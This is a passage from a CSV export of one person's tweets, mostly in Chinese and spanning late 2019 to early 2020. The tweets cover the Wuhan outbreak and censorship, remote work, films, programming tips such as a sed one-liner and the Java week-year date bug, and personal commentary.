https://t.co/KFsJ19Cmrc,,https://twitter.com/haoel/status/1224365937937174528\n4329,1223643601915150336,2020-02-01 16:25:43+00:00,29,13,2,,@howard47834045 我非典那年也一样崩塌，这张图现在还有点不好找了…… https://t.co/p02EsZ43EH,,https://twitter.com/haoel/status/1223643601915150336\n4330,1223639096565723142,2020-02-01 16:07:49+00:00,92,48,10,,只有YouTube 上有视频了！男子从武汉红会提一箱口罩放进公务车，称给领导配的 https://t.co/FlobSO93lA,\"[TextLink(text='youtu.be/C3tO2_r6IcE', url='https://youtu.be/C3tO2_r6IcE', tcourl='https://t.co/FlobSO93lA', indices=(41, 64))]\",https://twitter.com/haoel/status/1223639096565723142\n4331,1223619001256833026,2020-02-01 14:47:58+00:00,1117,217,48,,他们用力花了几年洗出来的一个盛世，凭实力在一个春节就现了原型……,,https://twitter.com/haoel/status/1223619001256833026\n4332,1223508426275209216,2020-02-01 07:28:35+00:00,6,0,1,,@nishuang 谢谢🙏,,https://twitter.com/haoel/status/1223508426275209216\n4333,1223152118112014338,2020-01-31 07:52:44+00:00,4,0,0,,@zhaojinjiang 没实践两三年，不敢吹……,,https://twitter.com/haoel/status/1223152118112014338\n4334,1223148931858649088,2020-01-31 07:40:05+00:00,247,93,7,,【MegaEase的远程工作文化】因为我很喜欢《Rework》这本书，写这本书的公司写《Rework》这本书的时候，整个公司只有16个人分布在8个城市，这种Geek的文化很吸引我，所以，在创业的时候，我就止不住地想成立这样的公司。写篇文章分享，并附一个工作协议。希望得到更好的建议！ https://t.co/fqtofzhKjr,\"[TextLink(text='coolshell.cn/articles/20765…', url='https://coolshell.cn/articles/20765.html', tcourl='https://t.co/fqtofzhKjr', indices=(142, 165))]\",https://twitter.com/haoel/status/1223148931858649088\n4335,1223099282074394624,2020-01-31 04:22:47+00:00,47,2,11,,当我把摇滚乐推荐给同学的女儿（现在是初中生）两个月后，同学的女儿发的朋友圈……不知道同学会不会恨我…… https://t.co/CS2Qcel32Q,,https://twitter.com/haoel/status/1223099282074394624\n4336,1223089565851762690,2020-01-31 03:44:11+00:00,27,1,6,,天眼应该也失效了……,,https://twitter.com/haoel/status/1223089565851762690\n4337,1223086641884958720,2020-01-31 03:32:33+00:00,40,3,10,,实在是宅不住了，出门走一圈，然后发现我的iPhone坏了，过了1分钟，才发现是因为我带了口罩，FaceID失效了……,,https://twitter.com/haoel/status/1223086641884958720\n4338,1222768261273546752,2020-01-30 06:27:26+00:00,121,7,18,,生活在雾霾大的城市优越性一下就体现出来了。平时为了防雾霾准备的N95的口罩，现在都派上用场了…… https://t.co/8Kc36HWvxY,,https://twitter.com/haoel/status/1222768261273546752\n4339,1221753619122245633,2020-01-27 11:15:36+00:00,363,68,12,,武汉市市长说，对不起，信息披露不及时。但是，抓人就很及时，删贴也很及时，我觉的，只要他们愿意，想要多及时就能多及时，问题是他们想不想……,,https://twitter.com/haoel/status/1221753619122245633\n4340,1220738033483280384,2020-01-24 16:00:02+00:00,637,207,9,,谎言的代价是什么？并非是我们会把谎言误认为真相。真正危险的是，我们听多了谎言，便不再能分辨出真相。 一一 《切尔诺贝利》,,https://twitter.com/haoel/status/1220738033483280384\n4341,1220532274686353408,2020-01-24 02:22:25+00:00,19,1,3,,\"下面这几部不是很喜欢：\n《小丑》- 演技虽好，但是就是不喜欢\n《星际救援》- 主题很好，但就是太沉闷了\n《爱尔兰人》- 信息量太大了，影片太长了3个小时，\n《好莱坞往事》- 看不懂，不是美国人不知道那段时间的文化\",,https://twitter.com/haoel/status/1220532274686353408\n4342,1220532273398706176,2020-01-24 02:22:25+00:00,145,20,7,,\"2019年我最喜欢的电影：\n《波西米亚狂想曲》我中学摇滚时代\n《Jonh Wick : 疾速备战》这个系列太帅了\n《绿皮书》和《寄生虫》社会阶层\n《看不见的客人》和《海市蜃楼》西班牙悬疑片\n《利刃出鞘》复古侦探片\n《复仇者联盟》十年漫威结局\n《海王》特技担当\n《决战中途岛》海战场面不错\n《阿丽塔》大眼女\",,https://twitter.com/haoel/status/1220532273398706176\n4343,1219606092851757060,2020-01-21 13:02:06+00:00,375,48,70,,好多人的Macbook触摸板没有开启“三指拖动”的手势，于是，在移动窗口或选中文本时，需要有下压动作，这真是粗鲁……我用MacBook的触摸板，从来都是用我的指头轻轻地摸过来摸过去，没有按压，唯有爱抚。抚摸，轻触，如柔丝软绸般顺滑；高贵，优雅，如轻风细雨般滋润……,,https://twitter.com/haoel/status/1219606092851757060\n4344,1219414384545452032,2020-01-21 00:20:19+00:00,54,6,17,,删贴并没什么，而是，我转评别人微博后，有好些小粉红冲进来骂我造谣生事…… https://t.co/117un15XBJ,,https://twitter.com/haoel/status/1219414384545452032\n4345,1218813488572682240,2020-01-19 08:32:34+00:00,17,2,4,,40秒就KO了，重获冠军，厉害……,,https://twitter.com/haoel/status/1218813488572682240\n4346,1218181368544235521,2020-01-17 14:40:45+00:00,373,22,13,,@WaveUnderMoon 白素贞打回原形是Python嘛,,https://twitter.com/haoel/status/1218181368544235521\n4347,1218179342187954176,2020-01-17 14:32:42+00:00,972,288,65,,今天的新闻，中科院计算所发布国产编程语言“木兰”，被网友反编译后发现是Python，这件事错就错在取名“木兰”，应该用个更贴切的名字，比如：叫“素贞”，一下就让人觉的毫无违合感了……,,https://twitter.com/haoel/status/1218179342187954176\n4348,1218044513152729091,2020-01-17 05:36:56+00:00,71,25,5,,转一篇 @ruanyf 翻译彭博社分析师的 《我对中国科技行业的看法 》https://t.co/KE0jZVuU5h,\"[TextLink(text='ruanyifeng.com/blog/2020/01/c…', url='http://www.ruanyifeng.com/blog/2020/01/china-technology-review.html', tcourl='https://t.co/KE0jZVuU5h', indices=(36, 59))]\",https://twitter.com/haoel/status/1218044513152729091\n4349,1217660262674661376,2020-01-16 04:10:04+00:00,63,5,2,,不解之缘四十年，风雨同舟中国情。共和国的朋友美国,,https://twitter.com/haoel/status/1217660262674661376\n4350,1216962122510323713,2020-01-14 05:55:54+00:00,28,1,16,,看了下评论，看来认知真是大多数人的硬伤……,,https://twitter.com/haoel/status/1216962122510323713\n4351,1216661248248401921,2020-01-13 10:00:20+00:00,0,0,2,,@bigzhu 绑信用卡不已经有交易了么,,https://twitter.com/haoel/status/1216661248248401921\n4352,1216659504634322945,2020-01-13 09:53:25+00:00,0,0,1,,@bigzhu NB，不绑信用卡而是绑储蓄卡！,,https://twitter.com/haoel/status/1216659504634322945\n4353,1215912833587638272,2020-01-11 08:26:24+00:00,201,11,37,,新浪微博的运营找我说，你怎么最近不更新微博了，得多更新啊，我们会帮你买粉条的……（老实说，微博上猪头粉红太多，越来越觉得自己不属于那里）,,https://twitter.com/haoel/status/1215912833587638272\n4354,1215445241781608448,2020-01-10 01:28:22+00:00,24,6,3,,原贴在这里https://t.co/zZ3XsiuZ4I,\"[TextLink(text='twitter.com/capsmalt/statu…', url='https://twitter.com/capsmalt/status/1213103609677672453', tcourl='https://t.co/zZ3XsiuZ4I', indices=(5, 28))]\",https://twitter.com/haoel/status/1215445241781608448\n4355,1215287986650112000,2020-01-09 15:03:29+00:00,220,49,3,,把 “127.0.0.1  xn--9q8h” 加到 /etc/hosts 文件中，你就可以在浏览器中使用 http://👻 来访问本机的http服务，简称localghost。如果加入“127.0.0.1 xn--ls8h”，就可以用 http://💩 简称 localshit……（相关知识参看https://t.co/CACGoskicu）,\"[TextLink(text='en.m.wikipedia.org/wiki/Internati…', url='https://en.m.wikipedia.org/wiki/Internationalized_domain_name', tcourl='https://t.co/CACGoskicu', indices=(149, 172))]\",https://twitter.com/haoel/status/1215287986650112000\n4356,1215282108379189248,2020-01-09 14:40:08+00:00,61,15,3,,\"翻译可能是学习一门新语言比较好的方式，编程语言也一样……\n\nhttps://t.co/fnr1gabmLl\",\"[TextLink(text='immunant.com/blog/2020/01/q…', url='https://immunant.com/blog/2020/01/quake3/', tcourl='https://t.co/fnr1gabmLl', indices=(30, 53))]\",https://twitter.com/haoel/status/1215282108379189248\n4357,1214549429052559360,2020-01-07 14:08:43+00:00,86,3,6,,今天要做个如何写技术方案的示范，为说明什么是好的技术文档，需要找个对比，于是得先写一份看上去不错，但是其实有很多问题的方案，这样文档太难写了，完全没思路，我一筹莫展的时候，灵感突现，为什么不用百度搜索呢？难题就此化解。发个推就此感谢百度帮了大忙！@Baidu_Inc,,https://twitter.com/haoel/status/1214549429052559360\n4358,1214471815046688768,2020-01-07 09:00:19+00:00,1277,178,98,,今天，有个多年的同学对我说，如果你讨厌中国，你应该离开。我只能直接拉黑他了。因为他不但分不清批评问责和痛恨讨厌，也分不清楚民族和政府，更分不清谁是这片土地的主人……,,https://twitter.com/haoel/status/1214471815046688768\n4359,1214228492574838785,2020-01-06 16:53:26+00:00,35,9,7,,我俩重新开个channel叫《胖子对话录》吧，哈哈,,https://twitter.com/haoel/status/1214228492574838785\n4360,1214135977926508545,2020-01-06 10:45:49+00:00,0,0,1,,@garriotzhang 盗版我的？靠！,,https://twitter.com/haoel/status/1214135977926508545\n4361,1214128637244428288,2020-01-06 10:16:39+00:00,0,0,1,,@garriotzhang 这个不是我做的吗,,https://twitter.com/haoel/status/1214128637244428288\n4362,1214117468207108104,2020-01-06 09:32:16+00:00,6,1,4,,来，发起一个晒保温杯活动  #晒出你的保温杯,,https://twitter.com/haoel/status/1214117468207108104\n4363,1214104548295315456,2020-01-06 08:40:55+00:00,0,0,1,,@ultrapro99 必须的！,,https://twitter.com/haoel/status/1214104548295315456\n4364,1214102093662810112,2020-01-06 08:31:10+00:00,43,1,16,,保温杯还是要有的，但绝不能用中老年人风格的…… https://t.co/IXKiI6TocC,,https://twitter.com/haoel/status/1214102093662810112\n4365,1214100527622934528,2020-01-06 08:24:57+00:00,6,0,1,,@laisky_sh 那是2012年的抵制日货的事了，已经是我说的抵制这抵制那的这届low逼粉红了……,,https://twitter.com/haoel/status/1214100527622934528\n4366,1214094346514944001,2020-01-06 08:00:23+00:00,441,54,40,,我粉红的时候是2000年左右的时候，那个时候，香港澳门回归，入WTO了，中国足球进世界杯，成功申办奥运，载人飞船上天……互联网是开放的，博客时代开启民智……虽然父母下岗，互联网泡沫导致工作不好找……但内心是很自豪的……不像今天的小粉红，像疯狗一样抵制这抵制那的，素质low到不行……,,https://twitter.com/haoel/status/1214094346514944001\n4367,1214022961100836864,2020-01-06 03:16:44+00:00,34,0,7,,@tinyfool 视频与我果然是“胖若两人”,,https://twitter.com/haoel/status/1214022961100836864\n4368,1213466456379101190,2020-01-04 14:25:22+00:00,48,2,13,,我的Macbook Pro的屏有问题，Apple的工作人员跟我说需要换一个屏，还说，你面板上的贴画换完屏后就完全没了。嗯，Apple就是这样偷我的macbook上的贴画的…… https://t.co/eONHQG4HO8,,https://twitter.com/haoel/status/1213466456379101190\n4369,1213429568872144901,2020-01-04 11:58:48+00:00,223,42,24,,昨天跟 @tinyfool 聊中年危机，我们都说了自己的危机，虽然我觉得我比tiny惨，但是tiny觉得他比我惨。tiny问我怎么看中年危机的，我深沉地说，只有痛苦才会让你深度反思你的人生和你的过往，而只有这样的深刻反思才会让你更强大才会“不惑”。人生各阶段本来就危机四伏，只是中年期是危机高并发的阶段…,,https://twitter.com/haoel/status/1213429568872144901\n4370,1212171432756535296,2020-01-01 00:39:25+00:00,16,0,2,,@tinyfool 居然没有厨师和屠宰……,,https://twitter.com/haoel/status/1212171432756535296\n4371,1212041170898931714,2019-12-31 16:01:48+00:00,178,22,5,,Happy 2020 https://t.co/hte2xUQMpC,,https://twitter.com/haoel/status/1212041170898931714\n4372,1211861985861619712,2019-12-31 04:09:47+00:00,81,26,12,,\"ISO 8601 的日历与 传统的日历不一样，如果你在你的Java程序中在DateTimeFormatter使用了 \"\"YYYY\"\" 这样的年份格式，那就会得到 ISO-8601 的 “周历”（https://t.co/RL7upbkqkY），于是，在2019年12月29日时，会得到2019，而在2019年12月30日时，你的程序就会得到2020了……\",\"[TextLink(text='en.wikipedia.org/wiki/ISO_week_…', url='https://en.wikipedia.org/wiki/ISO_week_date', tcourl='https://t.co/RL7upbkqkY', indices=(95, 118))]\",https://twitter.com/haoel/status/1211861985861619712\n4373,1211592480900050944,2019-12-30 10:18:52+00:00,0,0,0,,@google_r 厉害，我的原来也有Bug，看来sed还有点不熟。,,https://twitter.com/haoel/status/1211592480900050944\n4374,1211573439586160641,2019-12-30 09:03:12+00:00,0,0,1,,@google_r 不错。不过不够严谨，因为如果只找 start -&gt; i hate you 的话，我的sed 就不用嵌套了。首先还是要找到 start 和 end 包起来的部份……哈,,https://twitter.com/haoel/status/1211573439586160641\n4375,1211569962956947456,2019-12-30 08:49:23+00:00,2,0,0,,@nawonu 居然忘收了，我可是一天3-5万的咨询费，亏了……😭,,https://twitter.com/haoel/status/1211569962956947456\n4376,1211568671593648128,2019-12-30 08:44:15+00:00,82,9,7,,\"以后叫我 #皓哥Overflow\n\n这里应该用sed （假设文件叫text.txt）\n\ncat test.txt | sed  -n '/^start/,/^end/{/^start/,/i hate you/{/i hate you/p;};}’\n\n解释一下：\n\n0）-n 不输出文本内容\n1） /RE1/,/RE2/ 表示匹配某两个模式的行\n2）{} 里的是对匹配到的东西执行一个命令集（这里有个嵌套） https://t.co/4Ou6uVvEuj\",,https://twitter.com/haoel/status/1211568671593648128\n4377,1210455441802551296,2019-12-27 07:00:41+00:00,142,30,19,,1996年迪斯尼收了ABC；2006年，迪斯尼收了皮克斯；2009年，迪斯尼收了漫威；2012年，迪斯尼收了卢卡斯影业，2015年，迪斯尼收了国家地理；2019年，迪斯尼收了21世纪福克斯，接下来应该就是华纳兄弟、环球影业、梦工厂和索尼了，当然，最期待的是PornHub，这样就可以在DisneyLand 中玩 PornLand了……,,https://twitter.com/haoel/status/1210455441802551296\n4378,1210441206322188288,2019-12-27 06:04:07+00:00,0,0,0,,@liujinyu @wusheng0 嗯，我修正一下,,https://twitter.com/haoel/status/1210441206322188288\n4379,1210359899789524992,2019-12-27 00:41:02+00:00,0,0,2,,@wusheng0 考证  - 考驶照还是考GRE？;-),,https://twitter.com/haoel/status/1210359899789524992\n4380,1210215685504155649,2019-12-26 15:07:58+00:00,223,73,9,,【使用简单的逻辑方法进行独立思考】这是一个非常复杂的世界，这个世界上有很多各式各样的观点和思维方式，作为一个程序员的我，记录一篇自己的思维方式，一方面给大家做个参考，另一方面也供更高阶的人给我进行指正。https://t.co/1JNXa07hOS,\"[TextLink(text='coolshell.cn/articles/20533…', url='https://coolshell.cn/articles/20533.html', tcourl='https://t.co/1JNXa07hOS', indices=(101, 124))]\",https://twitter.com/haoel/status/1210215685504155649\n4381,1209855624432848896,2019-12-25 15:17:13+00:00,148,18,10,,还是twitter好，我的时间线上没有出现讨论王垠和阿里的八卦，微博上全部都是，几天了都还有人在讨论。人是复杂的，不轻易否定人是成熟的表现……给推友点赞👍🏻 https://t.co/13hZPp0IpY,,https://twitter.com/haoel/status/1209855624432848896\n4382,1209846133826015232,2019-12-25 14:39:30+00:00,299,44,25,,\"题：请用C语言打印一颗圣诞树\n\n答：\n\nvoid main() {\n    printf(“🎄\\n”);\n}\",,https://twitter.com/haoel/status/1209846133826015232\n4383,1209746776636346368,2019-12-25 08:04:42+00:00,0,0,1,,@nishuang @virushuo 我的意思是是说，你之所以mute他们是因为他们不开放且负面。而看你现在听别人说两句，也开始不开心放在和负面了😜,,https://twitter.com/haoel/status/1209746776636346368\n4384,1209740121307631616,2019-12-25 07:38:15+00:00,0,0,1,,@nishuang @virushuo 你岂不成了你mute的人？,,https://twitter.com/haoel/status/1209740121307631616\n4385,1209662110264725510,2019-12-25 02:28:16+00:00,98,30,9,,\"以后有空，我也找深圳那边的工厂帮我做个这样的名片\nhttps://t.co/IGI2SC0jKz\",\"[TextLink(text='thirtythreeforty.net/posts/2019/12/…', url='https://www.thirtythreeforty.net/posts/2019/12/my-business-card-runs-linux/', tcourl='https://t.co/IGI2SC0jKz', indices=(25, 48))]\",https://twitter.com/haoel/status/1209662110264725510\n4386,1208911865310375937,2019-12-23 00:47:03+00:00,98,15,7,,有人以为我发鸡汤，其实我是在嘲讽人性。因为好些人的都会自觉地选择忍受、懒惰、贪婪、退缩、功利，然后为自己找各种借口……最后变得迷茫徬徨和不知所措……,,https://twitter.com/haoel/status/1208911865310375937\n4387,1208788905627045888,2019-12-22 16:38:27+00:00,543,146,29,,一个人以什么样的方式面对生活，就会活成什么样。如果选择了忍受，就会活地很辛苦；如果选择了急功近利，极大可能会活成棵韮菜；如果选择了安逸，舒适区就一定会越来越小；如果选择了成长，就会越飞越高；如果选择了挑战，就会越来越强；如果选择了探索，就会越活越精彩…… 一切都是因果关系……,,https://twitter.com/haoel/status/1208788905627045888\n4388,1208613772165693440,2019-12-22 05:02:32+00:00,25,3,1,,\"Make sense, lost children like the dangling pointers or wild pointers... https://t.co/I7t4rVm52t\",,https://twitter.com/haoel/status/1208613772165693440\n4389,1208378878546153474,2019-12-21 13:29:09+00:00,0,0,2,,@carlchen2018 好啊！,,https://twitter.com/haoel/status/1208378878546153474\n4390,1208371518314602497,2019-12-21 12:59:55+00:00,2,0,1,,@carlchen2018 哦，原来是阿里的同事。回国就好，相信国籍也迁回来了，为你点赞。不过，你我此刻在翻墙聊天可能是一种黑色的幽默吧……,,https://twitter.com/haoel/status/1208371518314602497\n4391,1208367799736782849,2019-12-21 12:45:08+00:00,1,0,1,,@carlchen2018 那你更扯了，你不为什么还呆在这水深火热之中呢？,,https://twitter.com/haoel/status/1208367799736782849\n4392,1208341242817523712,2019-12-21 10:59:36+00:00,17,1,3,,@carlchen2018 什么叫看多了西方媒体，我也会粉红的？你这逻辑要加强啊，其一，我翻出来就是为看多个角度的评论，其二，就算西方是恶棍，我也不可能爱上另外一个流氓的。（PS：我粉红的时候，你可能还出生呢）,,https://twitter.com/haoel/status/1208341242817523712\n4393,1208302408540942343,2019-12-21 08:25:18+00:00,152,9,22,,我感觉有点变态了，居然开始不由自主地喜欢挑逗和嘲讽小粉红了，这种感觉就跟我小时候，见到小动物就要上去追一下，打一下，想尽各种方法虐待一下，欺负他们，看他们气急败坏的样子，令我感觉很减压……哎，生活越来越枯燥乏味了……,,https://twitter.com/haoel/status/1208302408540942343\n4394,1208188202428829704,2019-12-21 00:51:29+00:00,5,0,0,,@cateatfood 真不一样,,https://twitter.com/haoel/status/1208188202428829704\n4395,1208047810035085318,2019-12-20 15:33:37+00:00,104,34,9,,微软给自己的VSCode加了圣诞老人的帽子，有人感到被冒犯了，请求去掉，微软照做了 https://t.co/AQVypUXRBo 。于是，程序员们开始去消遣VSCode了：Code字样冒犯了我，白色的样式冒犯了我…… https://t.co/iuah7mCuHw,\"[TextLink(text='github.com/microsoft/vsco…', url='https://github.com/microsoft/vscode/issues/87268', tcourl='https://t.co/AQVypUXRBo', indices=(42, 65))]\",https://twitter.com/haoel/status/1208047810035085318\n4396,1208026046592716801,2019-12-20 14:07:08+00:00,4,0,4,,@tinyfool 中国《波西米亚狂想曲》删除了三分钟，删除了性取向。我的中学时代是听这些摇滚的打口带长大的，那段时间的其它歌你都可以找来听听https://t.co/TYw363RGtK,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1109301921494425600', tcourl='https://t.co/TYw363RGtK', indices=(71, 94))]\",https://twitter.com/haoel/status/1208026046592716801\n4397,1208018276694908928,2019-12-20 13:36:15+00:00,37,8,4,,\"今天中文推中转的一个日本和尚Kossan翻唱的皇后乐队的《We will Rock You》的视频出处 https://t.co/2isxYaUttG，视频介绍：Brian, I need your solo! 真是太摇滚了。顺着翻看了他的Youtube Channel，大多都是他的日本三弦独唱，听起来令人昏昏欲睡……\",\"[TextLink(text='youtube.com/watch?v=ZmxcHc…', url='https://www.youtube.com/watch?v=ZmxcHclTYZU', tcourl='https://t.co/2isxYaUttG', indices=(52, 75))]\",https://twitter.com/haoel/status/1208018276694908928\n4398,1207945461186695168,2019-12-20 08:46:55+00:00,45,4,1,,@luo_sir1991 安全圈你要么简单玩玩也就算了，只要你玩深了，要么会成为涉密人员，要么成为被关注人士，总之，不会很自由的……,,https://twitter.com/haoel/status/1207945461186695168\n4399,1207920103280410626,2019-12-20 07:06:09+00:00,531,134,37,,\"有几个人生建议转给技术人员：\n1）安全圈最好不要玩\n2）民间金融不要玩\n3）敏感数据最好不要碰\n4）军方和有人权问题的项目不要碰\",,https://twitter.com/haoel/status/1207920103280410626\n4400,1207904197896622085,2019-12-20 06:02:57+00:00,21,5,7,,朋友同事的罪名是：为金融诈骗提供作案工具，以及诈骗单位高管,,https://twitter.com/haoel/status/1207904197896622085\n4401,1207895146890530816,2019-12-20 05:26:59+00:00,89,22,5,,关于程序员与违法的一些观点…… https://t.co/bEjdTJ0tcJ,,https://twitter.com/haoel/status/1207895146890530816\n4402,1207842243068993536,2019-12-20 01:56:46+00:00,6,0,0,,@shelikhoo 哈哈，肉鸡😂😂,,https://twitter.com/haoel/status/1207842243068993536\n4403,1207821203001368577,2019-12-20 00:33:09+00:00,119,14,37,,看了看内网，绝大多数中国人其实并不知道厄齐尔说了什么，但是不管了，先抵制了再说……,,https://twitter.com/haoel/status/1207821203001368577\n4404,1207797989562929153,2019-12-19 23:00:55+00:00,16,0,0,,@sofish 不用上Youtube，我也是一个白发苍苍还在写代码的人,,https://twitter.com/haoel/status/1207797989562929153\n4405,1207645658401738753,2019-12-19 12:55:36+00:00,7,0,1,,@Dispomanfaa 但是肯定不急,,https://twitter.com/haoel/status/1207645658401738753\n4406,1207503311370252288,2019-12-19 03:29:58+00:00,0,0,0,,@zedwareg 是我打了错别字，是《华氏451度》,,https://twitter.com/haoel/status/1207503311370252288\n4407,1207330948187971584,2019-12-18 16:05:03+00:00,61,14,8,,\"Shit! I am more than entire IT department, but they only give me one person pay...\",,https://twitter.com/haoel/status/1207330948187971584\n4408,1207269908058296320,2019-12-18 12:02:30+00:00,262,92,9,,原来HTTP 451状态码是请求资源被政府审查不能访问，之所以用451是因为向《华式451度》这本小说致敬…… https://t.co/YaUSAYjWqB,,https://twitter.com/haoel/status/1207269908058296320\n4409,1207115344554278913,2019-12-18 01:48:19+00:00,3,0,2,,@Hikaru8511 @tinyfool 因为人生总是应该去挑战比较难的事情。移民对我并不是很难……,,https://twitter.com/haoel/status/1207115344554278913\n4410,1206867683448258560,2019-12-17 09:24:12+00:00,186,34,11,,以前我对挣钱有点不屑，因为我觉得有比钱更高维度的东西，比如，竞争力、方法、经验、价值等。现在觉得用“挣钱”来思考也没什么问题，一方面，用付费来验证你的产品或服务有没有真需求是一件很重要的事，另一方面，能让用户愿意掏100万给你与掏1万相比，完全会让你在不同维度上进行思考……,,https://twitter.com/haoel/status/1206867683448258560\n4411,1206861282323750915,2019-12-17 08:58:46+00:00,0,0,1,,@Hikaru8511 @tinyfool 直接问我不行么？为什么要绕一下？,,https://twitter.com/haoel/status/1206861282323750915\n4412,1206466575902969856,2019-12-16 06:50:21+00:00,0,0,1,,@Hikaru8511 no.,,https://twitter.com/haoel/status/1206466575902969856\n4413,1206380795578830848,2019-12-16 01:09:29+00:00,33,9,3,,在我们的判断力中，满满的都是分布式系统级的逻辑思考，没有意识形态的东西……,,https://twitter.com/haoel/status/1206380795578830848\n4414,1206100524518346753,2019-12-15 06:35:47+00:00,113,9,29,,四处招摇…… https://t.co/QnMy0kl5y5,,https://twitter.com/haoel/status/1206100524518346753\n4415,1205783040393269248,2019-12-14 09:34:13+00:00,1,0,0,,@BccFansCN 赞👍🏻,,https://twitter.com/haoel/status/1205783040393269248\n4416,1205776886086815744,2019-12-14 09:09:46+00:00,1,0,1,,@BccFansCN 看我的置顶推,,https://twitter.com/haoel/status/1205776886086815744\n4417,1205776015894597638,2019-12-14 09:06:19+00:00,65,15,29,,在近5000人的电报群中做了个程序员工作年限的匿名调查，有700+人参与，感觉出现断层现象了，12年以上的就没了，19年以上的又有了。工作20年以上的应该是跟我一样的70后了，难道是说80后的没70后的坚持？ https://t.co/1DmQOwdcSr,,https://twitter.com/haoel/status/1205776015894597638\n4418,1205733649775071233,2019-12-14 06:17:58+00:00,61,23,4,,\"中国的一家投资机构准备向一家以色列创业公司投资100万美金，一个攻击者成功地使用了相似邮件域名，向双方发送电子邮件，通过一共32封邮件进行了中间人攻击，并取消了双方的见面会议，最后成功骗走了100万美元。\nhttps://t.co/ThMYtcoEYA\",\"[TextLink(text='darkreading.com/attacks-breach…', url='https://www.darkreading.com/attacks-breaches/how-attackers-used-look-alike-domains-to-steal-$1-million-from-a-chinese-vc-/d/d-id/1336547', tcourl='https://t.co/ThMYtcoEYA', indices=(103, 126))]\",https://twitter.com/haoel/status/1205733649775071233\n4419,1205424988745949185,2019-12-13 09:51:27+00:00,80,20,9,,Nginx的两个合伙人被警方带走了，会不会被关251天不得而知。想起了 6 年前与马克西姆的短暂交流：https://t.co/Pksi2klY5e,\"[TextLink(text='trac.nginx.org/nginx/ticket/5…', url='https://trac.nginx.org/nginx/ticket/503', tcourl='https://t.co/Pksi2klY5e', indices=(51, 74))]\",https://twitter.com/haoel/status/1205424988745949185\n4420,1205384561787457537,2019-12-13 07:10:49+00:00,0,0,1,,@mingliu63154112 @tinyfool no,,https://twitter.com/haoel/status/1205384561787457537\n4421,1205384449367535617,2019-12-13 07:10:22+00:00,0,1,0,,@4cf8e01a73954d7 @tinyfool think more about why other people give you money...,,https://twitter.com/haoel/status/1205384449367535617\n4422,1205384101676507136,2019-12-13 07:08:59+00:00,1,0,0,,@xiao2shiqi @tinyfool 2-3 hours on the weekend night...,,https://twitter.com/haoel/status/1205384101676507136\n4423,1205383874122928128,2019-12-13 07:08:05+00:00,8,0,0,,\"@shenchao890216 @tinyfool I want to be a cool person. Young is cool, taking risks is cool, challenge the big company is cool, exploring the unknown area is cool, the conviction is cool, think big is cool, inventing is cool, authenticity is cool...\",,https://twitter.com/haoel/status/1205383874122928128\n4424,1205379902746189824,2019-12-13 06:52:18+00:00,0,0,0,,\"@fancylea @tinyfool Definitely, there is no easy way...\",,https://twitter.com/haoel/status/1205379902746189824\n4425,1205318782694019073,2019-12-13 02:49:26+00:00,0,0,1,,\"@fancylea @tinyfool Think about you have a passion for something, I believe there must be something you always can find the time even sleepless, always no excuses no step back even everyone against you. such as playing video games, following TV series or something else. It's the same...\",,https://twitter.com/haoel/status/1205318782694019073\n4426,1205295290007207937,2019-12-13 01:16:05+00:00,18,2,4,,\"Justin’s Weibo account had been deleted, I lost a follower... https://t.co/VYKeCHZJcz\",,https://twitter.com/haoel/status/1205295290007207937\n4427,1205152870695178240,2019-12-12 15:50:09+00:00,2,0,1,,@sailfishcc1 @Hikaru8511 @tinyfool Because I write the plain English...,,https://twitter.com/haoel/status/1205152870695178240\n4428,1205151453037219840,2019-12-12 15:44:31+00:00,2,0,0,,\"@shougao @tinyfool I think it's good for kids to learn to program, I am totally fine with that. The Scratch is good to show the concepts and build on the interests.\",,https://twitter.com/haoel/status/1205151453037219840\n4429,1205149367520227328,2019-12-12 15:36:14+00:00,9,0,2,,\"@Hikaru8511 @tinyfool I can watch the technical presentation without subtitles on Youtube and can talk with white people even argue with them. but it still has a big room to improve...\n\nThe fastest way to learn is that go to the place where you only can use English to live in...\",,https://twitter.com/haoel/status/1205149367520227328\n4430,1205145964647829505,2019-12-12 15:22:43+00:00,1,0,1,,\"@elephi @tinyfool Let's talk that privately, otherwise I will be put into jail in 251 days.\",,https://twitter.com/haoel/status/1205145964647829505\n4431,1205133332398260224,2019-12-12 14:32:31+00:00,2,0,1,,\"@liulun @tinyfool Qt is fine, but I think it's better to take a look at the whole picture then make the decision. https://t.co/wYXmm7OJt6\",\"[TextLink(text='github.com/fffaraz/awesom…', url='https://github.com/fffaraz/awesome-cpp', tcourl='https://t.co/wYXmm7OJt6', indices=(114, 137))]\",https://twitter.com/haoel/status/1205133332398260224\n4432,1205129586687664128,2019-12-12 14:17:38+00:00,15,0,1,,嗯，该回复的都回复了，采访可以从视频的变成文字的了……嘿嘿嘿,,https://twitter.com/haoel/status/1205129586687664128\n4433,1205129354671349760,2019-12-12 14:16:43+00:00,0,0,0,,@yssnet1 @tinyfool 换一个懂的领导,,https://twitter.com/haoel/status/1205129354671349760\n4434,1205129178703511552,2019-12-12 14:16:01+00:00,4,0,0,,@yssnet1 @tinyfool 想着，人生就像大海的波浪一下有起有伏，想着低谷的时候通常意为着下一个波浪要来了，所以，赶快准备好不要被波浪拍到更低谷的地方……,,https://twitter.com/haoel/status/1205129178703511552\n4435,1205128469123874817,2019-12-12 14:13:11+00:00,2,0,0,,@yssnet1 @tinyfool 不可能没有，但是不强烈，只要需要，就能上手,,https://twitter.com/haoel/status/1205128469123874817\n4436,1205128256334094336,2019-12-12 14:12:21+00:00,4,0,0,,@yssnet1 @tinyfool 整个社会会把最重要的事交给你，你准备好了么？,,https://twitter.com/haoel/status/1205128256334094336\n4437,1205128058132283393,2019-12-12 14:11:33+00:00,1,0,0,,@yssnet1 @tinyfool Walk before Run，非AI的自动化运维搞好了么？,,https://twitter.com/haoel/status/1205128058132283393\n4438,1205127838606577666,2019-12-12 14:10:41+00:00,7,0,0,,@Hikaru8511 @tinyfool 如果要成为真正的达人，请先学习科班的知识,,https://twitter.com/haoel/status/1205127838606577666\n4439,1205127602828013568,2019-12-12 14:09:45+00:00,2,0,1,,@liulun @tinyfool C++，因为更好找工作,,https://twitter.com/haoel/status/1205127602828013568\n4440,1205127438600040448,2019-12-12 14:09:06+00:00,1,0,0,,@yssnet1 @tinyfool 想想开源软件,,https://twitter.com/haoel/status/1205127438600040448\n4441,1205127140586352640,2019-12-12 14:07:55+00:00,8,0,1,,@elephi @tinyfool 